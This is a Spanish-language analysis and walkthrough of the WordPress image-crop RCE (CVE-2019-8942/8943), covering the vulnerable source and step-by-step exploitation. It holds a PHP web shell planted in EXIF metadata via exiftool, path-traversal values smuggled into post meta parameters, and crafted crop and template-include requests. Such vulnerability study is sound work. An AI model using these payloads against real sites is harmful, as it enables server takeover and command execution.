
cve-2019-8942, cve-2019-8943
POC & Dockekfile : https://github.com/synod2/WP_CROP_RCE
Este documento trata sobre las vulnerabilidades CVE-2019-8942 y CVE-2019-8943, conocidas como WordPress Image CROP RCE, encontradas en versiones de WordPress anteriores a 4.9.9 y 5.0.1.
| Número de CVE | Fecha de divulgación | Descripción |
|---|---|---|
| CVE-2019-8942 | 2019-2-19 | Vulnerabilidad que permite ejecutar PHP con código malicioso a través de los valores de la tabla wp_postmeta, haciendo posible la ejecución remota de código |
| CVE-2019-8943 | 2019-2-19 | Vulnerabilidad que, al producirse una operación que cambia la información de tamaño de la imagen subida, permite almacenar archivos en cualquier ruta mediante el parámetro meta_input |
CVE-2019-8942 permite ejecutar código arbitrario al subir una imagen con código PHP insertado en los metadatos EXIF, modificar el valor de wp_attached_file en la tabla wp_post_meta de la publicación e incluir el archivo de imagen.
CVE-2019-8943 permite alterar el valor de wp_attached_file de la tabla wp_postmeta a una cadena arbitraria en la función wp_crop_image(), que actualiza la información de tamaño de la imagen al usar el editor de imágenes, y puede escribir archivos en un directorio arbitrario.
Usando ambas vulnerabilidades juntas, es posible ejecutar código de forma remota tras subir una imagen con código PHP insertado a una ruta arbitraria.
Al subir una imagen a WordPress, esta se mueve inicialmente al directorio wp-content/uploads y la información interna de referencia (metadatos como el propietario de la imagen o la hora de subida) se almacena en la base de datos como pares meta_key/meta_value.
mysql> select * from wp_postmeta where post_ID = 6;
| meta_id | post_id | meta_key | meta_value
| 5 | 6 | _wp_attached_file | 2021/05/test.png
| 6 | 6 | _wp_attachment_metadata | a:5:{s:5:"width"...
En la base de datos, la información de metadatos de la imagen se almacena como se muestra arriba. Cuando se recupera dicha imagen, el nombre del archivo se busca en el directorio wp-content/uploads utilizando el metadato _wp_attached_file.
#/wp-admin/includes/post.php
function edit_post( $post_data = null ) {
⋮
if ( empty($post_data) )
$post_data = &$_POST;
⋮
$success = wp_update_post( $post_data );
⋮
#/wp-includes/post.php
function wp_update_post( $postarr = array(), $wp_error = false ) {
⋮
return wp_insert_post( $postarr, $wp_error );
}
function wp_insert_post( $postarr, $wp_error = false ) {
⋮
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
⋮
En la función edit_post(), los datos POST se almacenan en la variable $post_data sin ningún filtrado adicional. Los valores POST que pasan por wp_update_post() → wp_insert_post() actualizan los metadatos almacenados en la base de datos mediante la función update_post_meta(). En este punto, es posible manipular la ruta en los metadatos desde la que se recupera la imagen actualizando el valor de _wp_attached_file.
#wp-admin/includes/image.php
function wp_crop_image( $attachment_id, $src_x, ...) {
⋮
$src_file = get_attached_file( $src );
⋮
$result = $editor->save( $dst_file );
#/wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
⋮
return apply_filters( 'get_attached_file', $file, $attachment_id );
La función wp_crop_image(), que se invoca al redimensionar un archivo, obtiene la ruta donde se guardará el archivo mediante la función get_attached_file(). Esta última recupera la ruta del archivo desde _wp_attached_file almacenado en la base de datos mediante get_post_meta() y guarda la imagen modificada.
Debido a estos dos problemas, en consecuencia se produce una operación que obtiene la ruta de archivo manipulada por POST y guarda la imagen modificada en esa ubicación.
Los temas de las páginas de WordPress se almacenan y utilizan en el directorio wp-content/themes. Al configurar el metadato de publicación _wp_page_template, se puede hacer que la función include() ejecute un archivo de ese directorio de temas en forma de plantilla.
En este punto, al igual que se usa la función include() en PHP, el archivo se incluye en la publicación. Por lo tanto, si se incluye una imagen que contiene código PHP, esta se comporta como una página PHP y es posible ejecutar el código PHP.
$ exiftool test.png -CopyrightNotice="<?=\`\$_GET[0]\`?>"
$ exiftool test.png
ExifTool Version Number : 10.80
File Name : test.png
Directory : .
File Size : 157 kB
File Modification Date/Time : 2021:05:05 09:43:34+00:00
File Access Date/Time : 2021:05:05 09:43:53+00:00
File Inode Change Date/Time : 2021:05:05 09:43:34+00:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 480
Image Height : 270
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Copyright Notice : <?=`$_GET[0]`?>
Application Record Version : 4
Image Size : 480x270
Megapixels : 0.130
Inserción de un shell PHP en el campo CopyrightNotice de los metadatos de la imagen.



Al hacer clic en la imagen subida - Más edición de detalles - Actualizar, se añade el parámetro &meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell a la solicitud enviada a post.php.
| meta_id | post_id | meta_key | meta_value
+---------+---------+-------------------------+---------------------------------
| 338 | 135 | _wp_attached_file | 2021/05/test.jpg?/../../../../themes/twentyseventeen/cropped-shell
Se confirma que _wp_attached_file fue modificado en la base de datos.


Al hacer clic en la imagen subida - Editar imagen - tras cambiar el tamaño, al hacer clic en el botón "Tamaño", la solicitud enviada a admin-ajax.php se envía con los parámetros manipulados.

action=crop-image&_ajax_nonce=<nonce>&id=<이미지ID>&cropDetails[x1]=480&cropDetails[y1]=480&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=10&cropDetails[dst_height]=10&meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell
/wordpress/wp-content/themes/twentyseventeen $ ls
404.php cropped-shell.jpg header.php README.txt search.php template-partsarchive.php footer.php inc rtl.css sidebar.phpassets front-page.php index.php screenshot.png single.php
comments.php functions.php page.php searchform.php style.css
Se confirma que el archivo cropped-shell.jpg se creó en el directorio del tema.

Al crear una publicación, se añade el parámetro &meta_input[_wp_page_template]=cropped-shell.jpg a la solicitud enviada a post.php, lo que incluye el archivo en la publicación.

Se confirma que el código PHP del archivo de imagen incluido se ejecuta, y que el valor pasado a la publicación como argumento post se ejecuta como comando del sistema.
https://github.com/v0lck3r/CVE-2019-8943/blob/main/RCE_wordpress.py - código POC en Python
https://blog.sonarsource.com/wordpress-image-remote-code-execution?redirect=rips - Informe de análisis de la vulnerabilidad WP-CROP-RCE
https://blog.naver.com/skinfosec2000/221517528775 - Informe de análisis de la vulnerabilidad WP-CROP-RCE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942 - Página oficial del CVE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943 - Página oficial del CVE